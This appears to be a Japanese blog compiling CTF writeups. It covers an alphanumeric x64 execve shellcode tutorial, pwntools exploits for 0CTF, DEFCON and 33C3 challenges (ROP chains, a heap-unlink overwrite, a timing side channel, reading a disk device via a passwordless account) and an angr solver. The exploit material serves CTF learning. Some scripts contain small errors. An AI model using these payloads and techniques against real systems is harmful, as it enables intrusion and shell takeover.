x64 alphanumeric shellcodeを書く
はじめに
最近、x64でalphanumeric shellcodeを書く機会が増えてきた。その度に使える命令が何か調べ直して一から書いていて面倒だと感じたので、一旦まとめておく。 適当にググるとLinux/x86-64 - Position independent & Alphanumeric execve("/bin/sh\0",NULL,NULL); Shellcode (87 bytes)が出てきたが、うまく動作しなかった。というか無駄なことが多いように感じたので、自分で書き直してみる。
使える命令
個人的に使えると思った命令。alphanumericな命令は他にもあるが、使えるのか良く分からんので載せていない。
pushはほぼ使える。ただしpopは、6種類のレジスタでしか使えない。system callを呼びたい場合は、rdi, rsiなどへの値の設定は必須となってくるのでキツイ。もちろんsyscall
も使えない。
0x50: push rax 0x51: push rcx 0x52: push rdx 0x53: push rbx 0x54: push rsp 0x55: push rbp 0x56: push rsi 0x57: push rdi 0x4150: push r8 0x4151: push r9 0x4152: push r10 0x4153: push r11 0x4154: push r12 0x4155: push r13 0x4156: push r14 0x4157: push r15 0x58: pop rax 0x59: pop rcx 0x5a: pop rdx 0x4158: pop r8 0x4159: pop r9 0x415a: pop r10 0x34XX: xor al, imm8 0x35XXYY: xor ax, imm16 0x35XXYYZZWW: xor eax, imm32 0x6aXX: push imm8 0x68XXYYZZWW: push imm32 xor DWORD PTR [r64 + imm8], r32
よく使うパターン
shellcodeが走る領域はrwxな領域である場合が多く、不足する命令は実行中に生成すればいい。メモリに対するXORがあるので、これを用いて動的に所望の命令を作っていく。
また、shellcodeが呼ばれるときには、shellcodeの先頭を指すアドレスを持っているレジスタがいる場合が多い。それを一旦pushし、pop rcx
でrcxへと持ってくることで、xor DWORD PTR [rcx + imm8], eax
が使える。xorなので、ある程度までは自由にメモリの書き換えができる。xor eax, imm32
と組み合わせれば書き換えたいアドレスの下位32bit分は調節できるはず(確かめてない)。
よく使うパターンは、shellcodeの先頭を指すアドレスがrcxにあることを前提としている。例では、pop rsi, pop rdi, sycall
を動的に作り出している。
push 0x41413030 pop rax xor DWORD PTR [rcx+0x30], eax ※ [rcx+0x30] には0x444e6f6eが書き込まれている 0x30 ^ 0x6e = 0x5e == pop rsi 0x30 ^ 0x6f = 0x5f == pop rdi 0x41 ^ 0x4e = 0x0f 0x41 ^ 0x44 = 0x05 \x0f\x05 == syscall
sys_execve(&‘/bin/sh’, NULL, NULL)
systemcallでexecveによるシェル起動ができるalphanumeric shellcodeを書いてみる。
x64では、raxにsystemcall番号、rdiに第一引数、rsiに第二引数、rdxに第3引数を設定する必要がある。
このshellcodeでは、raxに0x3b(59)、rdiに"/bin/sh"の先頭アドレス、rsiとrdxには0を設定している。call rax
から呼び出されることを想定しているので、まずはpush rax
をしている。shellcodeが呼び出された時にshellcodeの先頭アドレスを持っているレジスタならば何でも良いので、raxでは都合が悪いときは適宜変更してほしい。ちなみに2回pushしているのは安易なパッディングである。
これをコンパイルすると、PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAで60byteとなる。
/* from call rax */ push rax push rax pop rcx /* XOR pop rsi, pop rdi, syscall */ push 0x41413030 pop rax xor DWORD PTR [rcx+0x30], eax /* XOR /bin/sh */ push 0x34303041 pop rax xor DWORD PTR [rcx+0x34], eax push 0x41303041 pop rax xor DWORD PTR [rcx+0x38], eax /* rdi = &'/bin/sh' */ push rcx pop rax xor al, 0x34 push rax /* rdx = 0 */ push 0x30 pop rax xor al, 0x30 push rax pop rdx push rax /* rax = 59 (SYS_execve) */ push 0x41 pop rax xor al, 0x7a /* pop rsi, pop rdi*/ /* syscall */ .byte 0x6e .byte 0x6f .byte 0x4e .byte 0x44 /* /bin/sh */ .byte 0x6e .byte 0x52 .byte 0x59 .byte 0x5a .byte 0x6e .byte 0x43 .byte 0x5a .byte 0x41
関連リンク
Linux/x86-64 - Position independent & Alphanumeric execve("/bin/sh\0",NULL,NULL); Shellcode (87 bytes) x86 alphanumeric shellcodeを書いてみる - ももいろテクノロジー http://www.intel.co.jp/content/dam/www/public/ijkk/jp/ja/documents/developer/248966-024JA.pdf
0CTF 2017 Quals pages writeup
はじめに
期間中に解けなかったのが悔しかったので、writeup見ながら解いた。
https://gruss.cc/files/prefetch.pdf
が頭にあれば解けたかもしれない。というか元ネタがこれだと思う。期間中、cacheかTLB関連の何かを使うのかなぁと予想していたが、PREFETCH命令がmappingされていないページに対して実行されるとNOPになることは知らなかった。公式リファレンスにも載ってなかったとはず。有効なページと無効なページでは、実行時間が変わってくるのでRDTSC命令を使って経過クロックを比較してやればいい。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' # output verbose log RHOST = "202.120.7.198" RPORT = 13579 LHOST = "127.0.0.1" LPORT = 13579 # libc = ELF('') elf = ELF('./pages_d9a22948ada76c76fcd1658457d51b61') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': print "A" #conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./pages_d9a22948ada76c76fcd1658457d51b61'], execute=execute) else: conn = process(['./pages_d9a22948ada76c76fcd1658457d51b61']) # conn = process(['./pages_d9a22948ada76c76fcd1658457d51b61'], env={'LD_PRELOAD': ''}) # preparing for exploitation #log.info('Pwning') shellcode = ''' mov r8, 0x0 mov r9, 65 mov r10, 0x0000000200000000 xor rax, rax xor rbx, rbx xor rcx, rcx xor rdx, rdx loop: mov rax, r8 shl rax, 13 add rax, r10 mov rdi, rax call measure mov r14, rax mov rax, r8 shl rax, 13 mov rbx, 0x01 shl rbx, 12 add rax, rbx add rax, r10 mov rdi, rax call measure mov r15, rax cmp r14d, r15d ja one zero: mov rax, 0x0000000300000000 add rax, r8 mov BYTE PTR[rax], 0x00 jmp hoge one: mov rax, 0x0000000300000000 add rax, r8 mov BYTE PTR[rax], 0x01 hoge: inc r8 cmp r8, r9 je finish jmp loop measure: mov rbx, 0x10000 rdtsc mov ecx, eax measure_loop: dec rbx test rbx, rbx je measure_done PREFETCHT0 [rdi] jmp measure_loop measure_done: rdtsc sub eax, ecx ret finish: ret ''' payload = asm(shellcode) payload = shell.ljust( 0x4000, "\x90") conn.send(p32(0x4000)) conn.sendline(payload) conn.interactive()
0CTF 2017 Quals char writeup
はじめに
解けたのが、これだけだった。
他の問題もチームメンバーと話したりしたが、直接の貢献は一切してない(one gadget rceのoffset調べたくらい?)。
単純なので、やるだけだった。
exploit
libcは添付されている。そして、添付のlibcは0x5555e000にマッピングされる。canaryがなく、Stack BOFが起きるので簡単にEIPが奪えて、ROPに持ち込むことができる。ただし、入力できるペイロードはASCIIコードでpritableなものに制限されている。
まずは、使用できるROP gadgetを探した。rp++でROP gadgetをファイルに書き出し、pythonでアドレスがpritableなROP gadgetだけを残した。
% rp++ ./libc.so -r 5 > gadgets
from pwn import * f = open('./gadgets') buf = f.read().split('\n') libc_base = 0x5555e000 for line in buf: if all(c in string.printable for c in p32(libc_base + int(line.split(':')[0][2:], 16))): print hex(libc_base + int(line.split(':')[0][2:], 16)), line
あとは、使えそうなgadgetを目で探してROP chainを組むだけ。stagerで良かったが直接execveから/bin/shを起動した。工夫した点としては、/bin/shを指すアドレスをebxにセットすることである。/bin/shを指すアドレスは、下位16bitがpritableにならない。add bl, alとadd bh, ahを使って、上手く/bin/shを指すアドレスとなるように計算した。
以下がexploitで、これでシェルが取れた。
#!/usr/bin/env python from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' # output verbose log RHOST = "202.120.7.214" RPORT = 23222 LHOST = "127.0.0.1" LPORT = 23222 # libc = ELF('./libc.so') elf = ELF('./char') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./char'], execute=execute) else: conn = process(['./char']) # conn = process(['./char'], env={'LD_PRELOAD': './libc.so'}) # preparing for exploitation bufsize = 32 libc_base = 0x5555e000 zero_addr = 0x5557215c #: 0x00000000 inc_eax = 0x55644263 #0x000e6263: inc eax ; ret ; (1 found) xor_eax = 0x555d2040 #0x00074040: xor eax, eax ; ret ; (1 found) pop_eax_ebx_esi_edi_ebp = 0x5557506b #0x0001706b: pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ; (1 found) pop_ecx = 0x556d2a51 # pop ecx pop_edx = 0x555f3555 # pop edx, xor eax,eaxm pop edi mov_edx_0 = 0x555f692d #0x0009892d: mov edx, dword [edx] ; xor eax, eax ; test edx, edx ; sete al ; rep ret ; (1 found) and_ecx = 0x5566306d #0x0010506d: and ecx, 0xC0000000 ; and edx, 0x000000FF ; cmp ecx, 0x80000000 ; cmovne eax, edx ; ret ; (1 found) add_bh_ah = 0x55634e43 #0x000d6e43: add bh, ah ; ret ; (1 found) add_bl_al = 0x555f643e #0x0009843e: add bl, al ; xor eax, eax ; ret ; (1 found) int0x80 = 0x55667177 #0x00109177: int 0x80 ; (1 found) eax_value = 0x77775070 ebx_value = 0x556b677c log.info('Pwning') payload = "A" * bufsize # ecx = 0 payload += p32(pop_ecx) payload += p32(0x30303030) payload += p32(and_ecx) # edx = 0 payload += p32(pop_edx) payload += p32(zero_addr) payload += p32(zero_addr) payload += p32(mov_edx_0) # ebx = &'/bin/sh' and eax = 0 payload += p32(pop_eax_ebx_esi_edi_ebp) payload += p32(eax_value) payload += p32(ebx_value) payload += "XXXX" * 3 payload += p32(add_bh_ah) payload += p32(add_bl_al) # eax = 11 payload += p32(inc_eax) * 11 # int 0x80 payload += p32(int0x80) print len(payload) print payload conn.recvuntil('GO : )') conn.sendline(payload) conn.interactive()
DEFCON 2014 CTF - Baby's First: 1 - heap
はじめに
heap系の問題が良くわからないので、katagaitai CTF勉強会(https://speakerdeck.com/bata_24/katagaitai-ctf-number-1)で取り上げられていた問題を解いてみた。
やっていることはだいたい同じなので、違うところだけを書いていく。
exploit
kataigait CTF勉強会では、printfのGOTを書き換えてeipを奪っていた。exit_funcでも良くね?と思い、exit_funcを書き換える方向でやってみた。
飛ばす先は、チャンクの先頭(?)で、unlinkの際に書きかわる部分は、mov eax, みたいな命令でやりすごしている。
全てのfreeが完了したら、exit_funcから入力したシェルコードが呼ばれてシェルが起動する。
from pwn import * context(os='linux', arch='i386') #context.log_level = 'debug' # output verbose log RHOST = "localhost" RPORT = 8080 LHOST = "127.0.0.1" LPORT = 8080 # libc = ELF('') elf = ELF('./heap') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= #b *{0} #b *0x8048afa ignore 2 0x0a c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./heap'], execute=execute) else: conn = process(['./heap']) # conn = process(['./heap'], env={'LD_PRELOAD': ''}) # preparing for exploitation bufsize = 260 exit_func = 0x804c8ac printf_got = 0x804C004 log.info('Pwning') conn.recvuntil("size=755]\n[ALLOC][loc=") shellcode_base = int(conn.recv(7), 16) log.info("{:#x}".format(shellcode_base)) conn.recvuntil('[size=260]:') payload = "\x90\x90\x90\xb8" payload += "JUNK" # overwrite at unlink payload += asm(shellcraft.sh()) payload += "A" * (bufsize - len(payload)) payload += p32(0x1) payload += p32(exit_func - 8) payload += p32(shellcode_base) conn.sendline(payload) conn.interactive()
第7回ICTトラブルシューティングコンテスト 感想
はじめに
大学サークルチーム「tuat_mcc」として第7回ICTトラブルシューティングコンテストに参加した。CTFをやっているいつもの3人+期待の後輩2人というチーム構成だった。3月3日土曜日、4日日曜日の2日間に渡って開催され、場所は調布にあるNTTの研修センターだった。
問題は、複数の会社でトラブルが発生し、それを解決したり原因の特定をしたり対策をしたりする感じだった。サーバー系の問題やネットワークの問題など多岐にわたるジャンルから出題されていたらしい。
このポストでは、感想と自分が解けた問題のwriteupを書いていく。writeupを書いていいことは、運営に尋ねたら了承してくれた。
TAB (D社の1問目)
問題文は以下の感じで、サーバのドメインとユーザー名、パスワードも一緒に与えられていた。DNSに関する問題で、自分はDNSを名前解決する何かとしか認識していなかったので、調べながらの挑戦となった。
社内のDNSサーバを構築する際、上司はコンテンツサーバとキャッシュサーバを別にしなければならないというこだわりを見せた。 リソースが足りないため1台のサーバに同居させたところ、正しくフォワードされないようである。 この不具合を修正し、 http://t[チーム番号].p22.ictsc が表示されることを確認してほしい。
サーバーには、コンテンツサーバーとしてNSD、キャッシュサーバーとしてunboundがインストールされていた。2つのサービスはデフォルトで53番ポートを使用する設定になっているため、片方のポートを変えてやる必要があった。NSDを10053番ポート、unboundを53番ポートにして同時に動作できるようにした。しかし、ここでNSDを起動しても落ちてしまっていた。原因はSELinuxで、10053番をDNSで使えるように設定する必要があった。
sudo semanage port -l | grep 53 apertus_ldp_port_t tcp 539 apertus_ldp_port_t udp 539 dns_port_t tcp 53 dns_port_t udp 53
下記の手順で、10053番ポートをDNSで使えるようにした。TCP、UDPを両方設定したのは念のため。これでNSDを起動しても落ちないようになった。
sudo semanage port -a -t dns_port_t -p tcp 10053 sudo semanage port -a -t dns_port_t -p udp 10053
正答条件には、参加者がいるネットワークのブラウザから、http://t[チーム番号].p22.ictsc へアクセスできることが含まれている。t[チーム番号].p22.ictscの名前を解決する情報は、ログインしているサーバーに存在しており、参加者がいるネットワーク内のDNSから、ログインしているサーバへDNSのリクエストが飛んでくる。これに気付かずに1日目を潰してしまい、気づいた2日目の昼にはヒント公開と同時に点数が下げられてしまい痛かった。unboundの設定で、参加者ネットワーク内のDNSから来るリクエストを許可すれば良い。
ここまでしても解決されなかったので、tcpdumpの結果を眺めていたら、より下の階層で弾かれてないか?と気づきiptablesでDNSが使用するポートを通過するように設定した。これで無事に名前が解決できて、ブラウザからt[チーム番号].p22.ictscへとアクセスできるようになった。
感想
ICTSCには初めて参加だったが、とても楽しかった。今まで参加したことがないジャンルのコンテストだったので、自分に足りないものを知ることができた。あと、独走していた社会人チームを見て、突き抜けた大人はカッコイイなぁと思った。
それと、どうでもいいことなのだが、一つだけ残念だったことがあった。1日目の昼食時にチームメンバーがハンバーグ弁当を選んでおり、その中には大きなハンバーグが入っていて、とても美味しそうだった。2日目の昼食時、1日目の印象から今日はハンバーグにしようと、ハンバーグ弁当と書かれた札から取った弁当は、1日目のものと違い、ハンバーグが入っているが小さくガッカリした。1日目のものとは違ったがハンバーグは入っているので、よく確認しなかった自分が悪いのだが、あの時はとても残念だった。
CODEGATE 2017 CTF EasyCrack 101
はじめに
101個のバイナリファイルのkeyを当てるだけ。
angr使って解いた。
チーメメンバがcurl使って自動送信するコードを書いてくれたので、途中からは、そのコードを使って分担してた。
そのコードは載せてない。
solve.py
keyはコマンドライン引数にて指定するので、コマンドライン引数を解析対象にするようにしている。
keyの長さは、最初適当に120とかにしていた。その後は解析結果を眺めながら、この程度が妥当だろうという長さに設定し直した。
import angr import claripy from pwn import * import sys for i in range(1, 102): fname = "prob"+str(i) binf = open(fname, 'rb').read() addr_main = u32(binf[0x5b0:0x5b4]) addr_succeeded = addr_main+0x50 addr_failed = addr_main+0x5c #key_length = 120 key_length = 50 p = angr.Project(fname) arg1 = claripy.BVS('arg1', key_length*8) com = "./" + fname initial_state = p.factory.entry_state(args=[com, arg1], add_options={"BYPASS_UNSUPPORTED_SYSCALL"}) for b in arg1.chop(key_length): initial_state.add_constraints(b != 0) pg = p.factory.path_group(initial_state, immutable=False) e = pg.explore(find=addr_succeeded, avoid=addr_failed) for path in pg.found: key = path.state.se.any_str(arg1) print fname, repr(key)
1ファイルあたり15秒程度で解析できていた。
ASCIIのprintableな文字がkeyなので、それを送信していた。
% python solve.py prob1 'T}gTRvNZAK_Exv^vqpDwCW\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' prob2 '}hGafk~acCtypkaEoi||f}tzsr\x00\x00\x00\x00\x00?\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' prob3 'ELFT[^MYLINQMI_FQFYKOOZ^U\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' ...
33C3 CTF writeup
はじめに
TokyoWesternsで参加して6位でした。pwnを中心にやってたのですが、解析パートが辛く厳しかった。僕が関わった問題2問のwriteupです。
The 0x90s called (pwn 150)
Linuxカーネルが動作するサーバーにアクセスして、rootでしか読めないflagを読む問題。
途中まで出来たが最後はプロが解いてくれた(圧倒的感謝🙏)。
% nc 78.46.224.70 2323 Welcome to Linux 0.99pl12. slack login: challenge Password:challenge Linux 0.99pl12. (Posix). No mail. slack:~$ uname -a Linux slack 0.99.12 #6 Sun Aug 8 16:02:35 CDT 1993 i586
/etc/passwdを見ると、syncはパスが設定されてない。suコマンドでsyncの権限でコマンド実行することが可能だった(ここまではできた)。rootグループの権限があってもflagは読めないのでもう一捻り必要。
cat /etc/passwd root::0:0::/:/bin/sh daemon:x:1:1::/etc: bin:x:2:2::/bin: adm:x:4:4::/: uucp::5:5::/usr/uucp: sync::255:0:::/bin/sync anonymous:*:403:1::/home/ftp:/bin/sh ftp:*:404:1::/home/ftp:/bin/sh challenge:*:405:1::/home/challenge: slack:~$ su sync -c 'id' uid=255(sync) gid=0(root)
プロが/dev/*は、rootグループでreadできることに気づいた./dev/hdaにファイルが書き込まれていることに気づきdone.
su sync -c 'cat /dev/hda' (skip) 33C3_Th3_0x90s_w3r3_pre3tty_4w3s0m3 (skip)
rec
flagのsubmitはしたが、正直何もしてないごっつぁんゴール。やったことは、rubyで書かれたexploitをpythonに書き直し、libcをリークさせようとしてた。libcのリークは完全に無駄で、オフセットから特定が可能だった。
Signは入力した数値の符号を返す機能で、入力に応じてeaxに関数を設定してcall eaxしている。
0を入力すると、eaxに関数が設定されず、stack上の値がeaxに格納される。
うまいことstackを調整し、呼び出したい関数をstackに積んでから0を入力すればいい。
from pwn import * def m(u32): return -(0xffffffff - u32 + 1) def send_cmd(num): repr(conn.recvuntil('> ')) conn.sendline(str(num)) print '< ', num return def send_addr100(addr): for i in range(100): conn.sendline(str(addr)) host = '78.46.224.74' port = 4127 # myabe address so must dump libc libc_stdout_offset = 0x1b3d60 libc_system_offset = 0x3b020 libc_binsh_offset = 0x15cbcf libc_system_offset = 0x0003a8b0 conn = remote(host, port) # leak some addreses send_cmd(1) conn.recvuntil('Your note: ') recv = conn.recv(16) print repr(recv) stack_addr = u32(recv[0:4]) pie_base = u32(recv[4:8]) - 0x6fb libc_base = u32(recv[8:12]) - libc_stdout_offset print '[+] pie_base =', hex(pie_base) print '[+] libc_base =', hex(libc_base) send_cmd(2) conn.recvuntil(': ') conn.sendline('S') send_func100(m(libc_base + libc_system_offset)) conn.recvuntil(': ') conn.sendline(str(m(libc_base + libc_binsh_offset))) conn.sendline('.') send_cmd(5) conn.sendline('0') conn.interactive()
% python exploit.py [+] Opening connection to 78.46.224.74 on port 4127: Done < 1 '\xb8\xd0\xe5\xff\xfb\x16ZV`\x9dm\xf7\xfe ZV' [+] pie_base = 0x565a1000 [+] libc_base = 0xf7526000 < 2 < 5 [*] Switching to interactive mode $ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) $ ls bin boot challenge dev etc home initrd.img initrd.img.old lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old $ cat /challenge/flag 33C3_L0rd_Nikon_would_l3t_u_1n
おわりに
任意の問題が辛かったのでもっと精進したい。
rev力の無さを痛感したので精進したい。
Firefox exploitationの問題はwriteup読みながらでも解きたい。